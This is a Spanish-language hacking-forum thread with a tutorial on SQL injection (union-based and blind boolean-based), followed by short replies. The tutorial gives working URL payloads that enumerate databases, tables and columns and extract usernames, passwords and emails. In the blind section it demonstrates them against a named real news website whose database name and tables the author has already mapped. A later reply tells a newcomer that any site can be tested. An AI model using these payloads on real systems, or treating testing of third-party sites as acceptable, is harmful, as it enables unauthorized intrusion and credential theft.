Underc0de

[In]Seguridad Informática => Bugs y Exploits => Mensaje iniciado por: M5f3r0 en Agosto 24, 2013, 02:37:48 AM

Título: [Curso] SQL Injection desde 0 - Union based y Blind Boolean Based.
Publicado por: M5f3r0 en Agosto 24, 2013, 02:37:48 AM
La Inyección SQLi vendría siendo una técnica muy conocida en la internet, la cúal consiste en la ejecución de consultas SQL a la base de datos que se presentan en una aplicación web, La Inyección SQL se debe a la mala filtración de nuestras variables las cúales son llamadas en nuestras consultas SQL.

Existen dos formas en la vulnerabilidad SQLi, String o Integer. La String vendría siendo como cuando tenemos una variable la cúal está encapsulada entre dos "$id" y la integer en caso contrario.

- Union Based:

Para iniciar el curso comenzaremos con lo más básico, "Union Based", La cúal se basa en la selección de una union, en la que hacemos uso de la sentencia "SELECT", un ejemplo en una consulta SQL:

SELECT id,0x7e,username,0x7e,password,0x7e,email FROM users

Vendría siendo una consulta SQL la cúal se encarga de seleccionar las columnas "id,username,password y email" que pertenecen a la tabla "users".

Y como lo pudieron notar use "0x7e" lo que equivale a ~ en hexádecimal y use al principio 0x para que el servidor MySQL lo pueda entender. Lo uso para distinguir los resultados.

1.- Consulta vulnerable en nuestro archivo PHP:

$sql = "SELECT * FROM users WHERE nombre='m5f3r0'"; // Consulta SQL vulnerable en la variable $sql
mysql_query($sql) // Hacemos la consulta


La consulta SQL vulnerable se encontraría en nuestra variable $sql en la que hacemos una selecciçon de la tabla "USERS"

Y al final procedemos a realizar la consulta MySQL llamando a la variable $sql la cúal contiene nuestra consulta que haremos a la base de datos, y luego uso "WHERE" para llamar a la columna "nombre" y seguidamente de algún registro o valor, en este caso "m5f3r0".

2.- Identificación entre "String y Integer"

Bueno, ya entendemos la consulta SQL vulnerable en nuestro sitio, ahora procederemos a la extracción de los datos del servidor mediante el uso de consultas SQL. Antes de hacer esto, debemos conocer el tipo de vulnerabilidad, es decir, si es String o Integer. Anteriormente ya explique que son estás dos cosas.

En la URL del sitio web vulnerable, supongamos que tenemos la siguiente ruta:

www.vulnerable.com/categoria.php?id=1

En dónde procederemos a realizar nuestras consultas seguidamente del parámetro "ID" el cúal es el vulnerable.

Primero comprobaremos si es string, para ello coloquemos una ' al final del id 1, ejemplo: categoria.php?id=1'

Y nos reflejara el error "You have an error in your SQL;.." , ahora colocaremos al final algún comentario en MySQL. MySQL permite los siguientes comentarios:

1: -- - o -- Comentarios de 1 sola línea
2: # Comentario de 1 sola línea
3:
/*
y
*/ Comentarios de varías líneas

Lo que vaya seguido de estos comentarios no lo leera el servidor.

Entonces procedemos, para comprobar si es string seguido de la ' añadimos algún comentario, yo usare -- - . Si automáticamente se nos fixea (es decir, se nos quita el error) significa que es de tipo String.

En caso contrario, es decir, si no se fixea significa que es integer y tendremos que hacer la inyección sin una ' a partir de ahora, ej: categoria.php?id=1 SELECT 80+1 -- -comentario

3.- Comprobar las columnas vulnerables

Seguidamente debemos comprobar cuales son las columnas vulnerables a las que procederemos a inyectar, para ello, haremos uso de la clausula "order by" o "group by" una se encarga de ordenar y la otra de agrupar. Para ello inyectaremos lo siguiente en la URL:

categoria.php?id=1 order by 10 -- -comentario

Si nos sale algún resultado como "in order clause"

Esto significa que no coincide con el número especificado, es decir, tiene menos columnas. Pero si en caso de que nos salga la página normal, significa que tiene más columnas o tiene esa misma que hayamos especificado.

Yo probe con 10 y si coloco 9:

categoria.php?id=1 order by 9 -- -comentario

Y me sale la página normal significa que tiene 9 columnas, ahora haremos uso de las sentencias "UNION SELECT 1,2,3,4,5,6,7,8,9".

Ahora podemos proceder a la extracción de datos del servidor y del sitio web.

3.- Extrayendo los nombres de las bases de datos

Ahora procederemos a la extracción de los nombres de las bases de datos, para ello haremos la extracción de metadatos (datos de otros datos por decirlo así) los cuales se encuentran en una base de datos especial del servidor MySQL llamada "information_schema" , la cúal almacena todo tipo de datos de nuestro servidor, como nuestro usuario MySQL, privilegios, nombres de tablas, bases de datos, etc..

En la base de datos "information_schema" hay una tabla llamada "schemata", en la cúal se almacenan los registros de los nombres de nuestras bases de datos, que creamos nosotros mismos.

En está tabla se encuentra una columna llamada "schema_name" , que es en la que se almacenan los registros. Procederemos a extraer dichos datos, pero antes de esto haremos la siguiente consulta para extraer las columnas vulnerables:

categoria.php?id=1 UNION SELECT 1,2,3,4,5,6,7,8,9 -- -comentario

Y añadimos un - a un lado del 1. Y lo ejecutamos en la página y de repente nos dispara unos números, los cúales son las columnas vulnerables dónde procederemos a inyectar.  Supongamos que la columna vulnerable es la 2, inyectaremos allí.

Bien, ahora procederemos a la extracción de los nombres de las bases de datos, para ello usaremos la siguiente consulta:

categoria.php?id=1 UNION SELECT 1,group_concat(schema_name),3,4,5,6,7,8,9 from information_schema.schemata -- -comentario

Aquí hacemos uso de la función group_concat() , la cúal es para la concatenación con un separador de los registros en la columna "schema_name" , aunque solo extrae 1 mb de datos. Y seguidamente al final de los números uso from information_schema.schemata , con esto especifico "de la base de datos de la tabla schemata" . Y automáticamente empezara a reflejar los datos con los nombres de todas las bases de datos del servidor MySQL.

Ciertas veces, pueden haber más datos de lo que soporta el group_concat() , así que podemos usar "LIMIT" el cúal es para limitar los resultados, lo añadimos al final de toda la consulta, limit 0,1 , limit 1,1 , limit 2,1 y así sucesivamente. Ej: categoria.php?id=1 UNION SELECT 1,group_concat(schema_name),3,4,5,6,7,8,9 from information_schema.schemata limit 1,1 -- -comentario


Y si solo queremos extraer el nombre de la currente base de datos del sitio web, hacemos uso de la función database() el cúal lo inyectamos en la columna vulnerable. ej: categoria.php?id=1 UNION SELECT 1,database(),3,4,5,6,7,8,9 -- -comentario

Automáticamente nos lanzara el nombre currente de la base de datos.

4.- Extracción de los nombres de las tablas

En la base de datos information_schema existe una tabla llamada "TABLES" , la cúal tiene una columna llamada "table_name", en la que se almacenan todos los nombres de todas las tablas que existen en todas las bases de datos. En dónde procederemos a extraer los nombres de las tablas. Para ello, usaremos la siguiente consulta:

categoria.php?id=1 UNION SELECT 1,group_concat(table_name),3,4,5,6,7,8,9 from information_schema.tables where table_schema=0xnombredeladb -- -comentario

En dónde table_name vendría siendo el nombre de la columna en la que se encuentran los datos de las columnas y "tables" que vendría siendo el nombre de la tabla en dónde se encuentran los datos, y use where para especificar que los resultados pertenezcan a uno de los datos de la columna "table_schema" y al final podemos usar la función char() la cúal es para codificar algún texto en charcode, o usamos hexadecimal para ello mismo. haciendo 0x+elnombredeladb+ .

Y automáticamente se nos empezara a lanzar los nombres de todas las tablas que existen en la base de datos que especificamos por su nombre. Aunque también podemos usar LIMIT para limitar los resultados y búscar 1 por 1 .

5.- Extrayendo los nombres de las columnas de una tabla

En information_schema se encuentra una tabla llamada "columns" en la que existe una columna con el nombre "column_name" la cúal contiene los nombres de las columnas que existen en todas las bases de datos. Para proceder a la extracción de los nombres de las columnas usaremos la siguiente consulta en la URL:

categoria.php?id=1 UNION SELECT 1,group_concat(column_name),3,4,5,6,7,8,9 from information_schema.columns where table_name=0xusers -- -comentario

Y cómo lo pueden notar, lo que cambio fue el "table_name" el cúal lo reemplaze por "column_name" , information_schema.tables por columns el cúal es el nombre de la tabla "COLUMNS" en information_schema , y por último el "table_schema" por "table_name" , en dónde especifico el nombre de la tabla a la que extraeré las columnas, en este caso especifique la tabla "users". Luego ejecutamos la consulta en la URL y automáticamente nos empezara a lanzar todos los nombres de las columnas de la tabla currente.

5.- Extrayendo los registros

Para poder extraer los registros, reemplazaremos el group_concat() por concat(), el cúal extrae 16 mb (si no me equivoco) de datos. Seguidamente de los nombres de las columnas de una tabla currente, y al final usaremos from +el nombre de la tabla+ , Consulta en la url:

categoria.php?id=1 UNION SELECT 1,concat(id,0x7e,username,0x7e,password,0x7e,email),3,4,5,6,7,8,9 users -- -comentario

Y automáticamente se nos extraerán los registros de la tabla.

- Vídeo de muestra (es mío):



- Blind Boolean Based:

1.- ¿Qué es una "Blind SQLi Boolean Based"?

Si se pueden fijar en el nombre, este mismo se los dice todo. Cuando decimos "Boolean based" nos referimos a que está se basa en valores booleanos, es decir, true or false/verdadero y false. Y cuando digo "Blind" Me refiero a que la Inyección es a ciegas, es decir, no nos muestra alguna señal de error.

La única forma de extraer datos que se encuentren en la currente base de datos, sería usando el modo brute force, es decir, adivinando.

2.- Explicando dos funciones importantes

Una de las funciones más comúnes que usamos al momento de explotar una Blind Boolean Based, es ascii() , con este devolvemos algún carácter válidado de la tabla "ASCII" (si no me equivoco).

Otro vendría siendo substring() con esta devolvemos una subcadena de otra subcadena.

4.- Comprobando si el sitio es vulnerable

Existen algunas formas para comprobar si el sitio web que tenemos en las manos es vulnerable a una Blind SQLi Boolean Based, podemos usar la sentencia "AND" , seguidamente alguna operación, que de como resultado un valor verdadero o uno falso (booleanos), true or false, por ejemplo, podemos usar AND 1=1 , lo cúal vendría siendo igual a True/Verdadero, ya que 1 es igual a 1 :D.

Y si coloco, and 1=0 , me debería dar un resultado false/falso , ya que 1 no es igual a 0. Un ejemplo en un sitio web:

http://trujilloenlinea.com.ve/noticias.php?seccion=Regionales&id=19350' and 1=1 -- - (http://trujilloenlinea.com.ve/noticias.php?seccion=Regionales&id=19350'%20and%201=1%20--%20-)

Como pueden observar, al final coloque un "-- -" , lo que es un comentario, el servidor solo lee lo que está entre la ' y el comentario -- - es decir, and 1=1 :D.  Todo lo que vaya luego de -- - el servidor no lo leera.

Y bueno, como pudieron observar en la página del sitio, se reflejo todo el texto de la noticia, ya que nos dio un resultado como true. Y ahora, si yo uso "and 1=0" me devolvería un resultado falso, ya que 1 no es igual a 0 como lo dije anteriormente, ejemplo:

http://http://trujilloenlinea.com.ve/noticias.php?seccion=Regionales&id=19350' and 1=0 -- - (http://http://trujilloenlinea.com.ve/noticias.php?seccion=Regionales&id=19350'%20and%201=0%20--%20-)

Y esto nos da señal de que es vulnerable :D.

Aparte de usar "AND" también podemos usar "having" , que sería otra de las alternativas. es decir, reemplazamos el and y colocamos having, ej:

http://trujilloenlinea.com.ve/noticias.php?seccion=Regionales&id=19350' having 1=1 -- - (http://trujilloenlinea.com.ve/noticias.php?seccion=Regionales&id=19350'%20having%201=1%20--%20-) ;D.

Otra alternativa es, "DIV" , reemplazamos el having o el and y colocamos div , ejemplo:

http://trujilloenlinea.com.ve/noticias.php?seccion=Regionales&id=19350' div 1=1 -- - (http://trujilloenlinea.com.ve/noticias.php?seccion=Regionales&id=19350'%20div%201=1%20--%20-) .

4.- Explotación de la vulnerabilidad

La primera fase para explotar la vulnerabilidad, sería extraer el nombre de la base de datos, para ello, iremos búscando el nombre de la DB carácter por carácter.., haciendo uso de la función database(), ejemplo:

http://trujilloenlinea.com.ve/noticias.php?seccion=Regionales&id=19350' and ascii(substring(database(),1,1))=116 -- - (http://trujilloenlinea.com.ve/noticias.php?seccion=Regionales&id=19350'%20and%20ascii(substring(database(),1,1))=116%20--%20-)

Ok, explico, con esto le estoy preguntando al servidor si el primer carácter de la base de datos empieza por 116, en dónde 116 corresponde a "t" en la tabla ascii, entonces, el servidor me dara una respuesta basada en valores booleanos, es decir, si el primer carácter SI empieza por la letra t este me devolvera true, de lo contrario me devolvera false :D. Por ejemplo, si hago lo siguiente:

http://trujilloenlinea.com.ve/noticias.php?seccion=Regionales&id=19350' and ascii(substring(database(),1,1))=115 -- - (http://trujilloenlinea.com.ve/noticias.php?seccion=Regionales&id=19350'%20and%20ascii(substring(database(),1,1))=115%20--%20-)

Me devuelve false, es decir, el primer carácter no comienza por la letra "s" la cual en decimal corresponde a 115, (está en la tabla ascii). Les dejo la siguiente que se apoyen más adelante:

(http://www.fmmeducacion.com.ar/Informatica/tabla_ascii.jpg)

Ok, ya yo por defecto se que el nombre de la db es "truji1_noticias", ya que le he hecho un escáneo al sitio :D.

Entonces, ustedes pueden ir aumentando el número de los carácteres y ir búscando letra por letra, aumentando de 1,1 , 2,1 y así sucesivamente. Aunque pueden llegar a aburrirse y duren mucho.

Ahora podemos seguir a extraer los nombres de las tablas existentes de la DB, para ello, hacemos lo siguiente:

http://trujilloenlinea.com.ve/noticias.php?seccion=Regionales&id=19350' and (select count(*) from noticias) -- - (http://trujilloenlinea.com.ve/noticias.php?seccion=Regionales&id=19350'%20and%20(select%20count(*)%20from%20noticias)%20--%20-)

Como pueden observar, aquí le estoy preguntando si hay una tabla llamada noticias y me devuelve un resultado como true, es decir, SÍ, hay una tabla llamada noticias en la base de datos :D. Y use select count(*) con un * ya que aún no tenemos las columnas de esa tabla :D.

Ustedes pueden colocar luego de from el nombre de una tabla y este se encargara de verificar si está existe.

Ahora, el siguiente paso sería averiguar los nombres de las columnas de la currente tabla, para ello, reemplazamos el * por el nombre de la columna a verificar si existe, ejemplo:

http://trujilloenlinea.com.ve/noticias.php?seccion=Regionales&id=19350' and (select count(id) from noticias) -- - (http://trujilloenlinea.com.ve/noticias.php?seccion=Regionales&id=19350'%20and%20(select%20count(id)%20from%20noticias)%20--%20-)

Con esto, le estoy preguntando si existe una columna llamada "id" en la tabla "noticias", y esto me devuelve como resultado true :D, es decir, que si existe una columna con el nombre "id", así podemos ir reemplazando nosotros y búscando nombre por nombre cada columna, ejemplo:

http://trujilloenlinea.com.ve/noticias.php?seccion=Regionales&id=19350' and (select count(fecha) from noticias) -- - (http://trujilloenlinea.com.ve/noticias.php?seccion=Regionales&id=19350'%20and%20(select%20count(fecha)%20from%20noticias)%20--%20-)

Reemplaze id y puse fecha, y este me dice que si existe una columna con ese nombre jeje ;D.

La última fase vendría siendo la obtención de los datos de cada tabla, para ello, usaremos los siguiente:

http://trujilloenlinea.com.ve/noticias.php?seccion=Regionales&id=19350' and ascii(substring((select id from noticias limit 0,1),1,1))=49 -- - (http://trujilloenlinea.com.ve/noticias.php?seccion=Regionales&id=19350'%20and%20ascii(substring((select%20id%20from%20noticias%20limit%200,1),1,1))=49%20--%20-)

Entonces, con esto le pregunto al servidor si el primer carácter de la primera fila de la columna "id" es 1 , lo cúal significa 49 en decimal :D, y así podremos ir búscando carácter por carácter hasta ir obteniendo los datos reales, aumentando el limit de 0,1 a 1,1 a 2,1 y así sucesivamente ;-). Y si queremos pasar a la siguiente fila, cambiamos el 1,1 por 2,1 y así vamos ;D.

- Link del tutorial del segundo post (mío también): http://underc0de.org/foro/pentest/explotation-blind-boolean-based-(sql-injection)-19001/ (http://underc0de.org/foro/pentest/explotation-blind-boolean-based-(sql-injection)-19001/)

Y bueno, eso ha sido todo amigos! Espero les haya gustado. Vere si próximamente actualizo el post y coloco sobre Time based u Error based/double query. Y saludos y agradecimientos a mi amigo arthusu por algunas explicaciones que me ha dado ;).

Saludos, @M5f3r0.
Título: Re:[Curso] SQL Injection desde 0 - Union based y Blind Boolean Based.
Publicado por: MagoAstral en Agosto 24, 2013, 10:29:39 AM
Hola, espero que no te tomes a mal mi comentario, pero esto ya es spam.
¿Dices cómo explotar union based y blind boolean based?, perfecto, pero con una vez creo que es suficiente, no tienes porqué publicar lo mismo dos veces.
Blind Boolean Based: http://underc0de.org/foro/pentest/explotation-blind-boolean-based-(sql-injection)-19001/msg64235/#msg64235
Union Based: http://underc0de.org/foro/hacking-basico/explotation-sqli-union-based-(video-de-muestra)-by-m5f3r0/msg63247/#msg63247
Si quieres aumentar el contenido aumentalo en el mismo aporte para algo está la opción editar, ¿digo yo no?.
Un saludo!
Título: Re:[Curso] SQL Injection desde 0 - Union based y Blind Boolean Based.
Publicado por: M5f3r0 en Agosto 24, 2013, 01:20:59 PM
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Hola, espero que no te tomes a mal mi comentario, pero esto ya es spam.
¿Dices cómo explotar union based y blind boolean based?, perfecto, pero con una vez creo que es suficiente, no tienes porqué publicar lo mismo dos veces.
Blind Boolean Based: http://underc0de.org/foro/pentest/explotation-blind-boolean-based-(sql-injection)-19001/msg64235/#msg64235
Union Based: http://underc0de.org/foro/hacking-basico/explotation-sqli-union-based-(video-de-muestra)-by-m5f3r0/msg63247/#msg63247
Si quieres aumentar el contenido aumentalo en el mismo aporte para algo está la opción editar, ¿digo yo no?.
Un saludo!

Gracias por el consejo, copie y pegue el texto de mi post de blind boolean based para poder unir ambos y convertirlo como un curso ;).

Saludos ;).
Título: Re:[Curso] SQL Injection desde 0 - Union based y Blind Boolean Based.
Publicado por: Assed [In]Seguridad Informática en Agosto 25, 2013, 11:53:18 AM
Bueno esta bastante bien el curso mufero , los que recién andan entrando al tema les viene muy bien !


Saludos !
Título: Re:[Curso] SQL Injection desde 0 - Union based y Blind Boolean Based.
Publicado por: [Kounterfeit] en Septiembre 11, 2015, 04:01:53 PM
muy bueno! te felicito por el post  ;)
Título: Re:[Curso] SQL Injection desde 0 - Union based y Blind Boolean Based.
Publicado por: hum4n3xpl01t en Julio 18, 2016, 03:56:53 PM
Excelente post, muy buena información.
Saludos cordiales.
Título: Re:[Curso] SQL Injection desde 0 - Union based y Blind Boolean Based.
Publicado por: DiegoTk en Septiembre 12, 2016, 03:51:37 AM
Gracias! Muy interesante para probar con las páginas que monte!

Ahora si quisiera probar con otras para chusmear, ¿se puede? ¿queda algún registro?

Pregunto de curiosidad.
Título: Re:[Curso] SQL Injection desde 0 - Union based y Blind Boolean Based.
Publicado por: EPSILON en Octubre 05, 2016, 07:40:19 PM
@DiegoTk (https://underc0de.org/foro/index.php?action=profile;u=62321) claro que se puede probar (testear) en cualquier sitio, y por lo general si quedan registros (logs) de los movimientos realizados en esos sitios atacados.
Aquí todos somos curiosos así que pregunta lo que se te ocurra mientras sean dudas puntuales.

Saludos!, EPSILON
Título: Re:[Curso] SQL Injection desde 0 - Union based y Blind Boolean Based.
Publicado por: M5f3r0 en Abril 21, 2017, 04:36:34 AM
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Gracias! Muy interesante para probar con las páginas que monte!

Ahora si quisiera probar con otras para chusmear, ¿se puede? ¿queda algún registro?

Pregunto de curiosidad.

Como me fuese gustado haberte respondido al momento, aunque sea un poco vieja la pregunta trae algo de nostalgia ver posts antiguos de la comunidad, gracias a la persona de arriba por haberlo hecho! lastimosamente ahora mismo no recuerdo ni quien era hace más de 3 años :-\ ;D.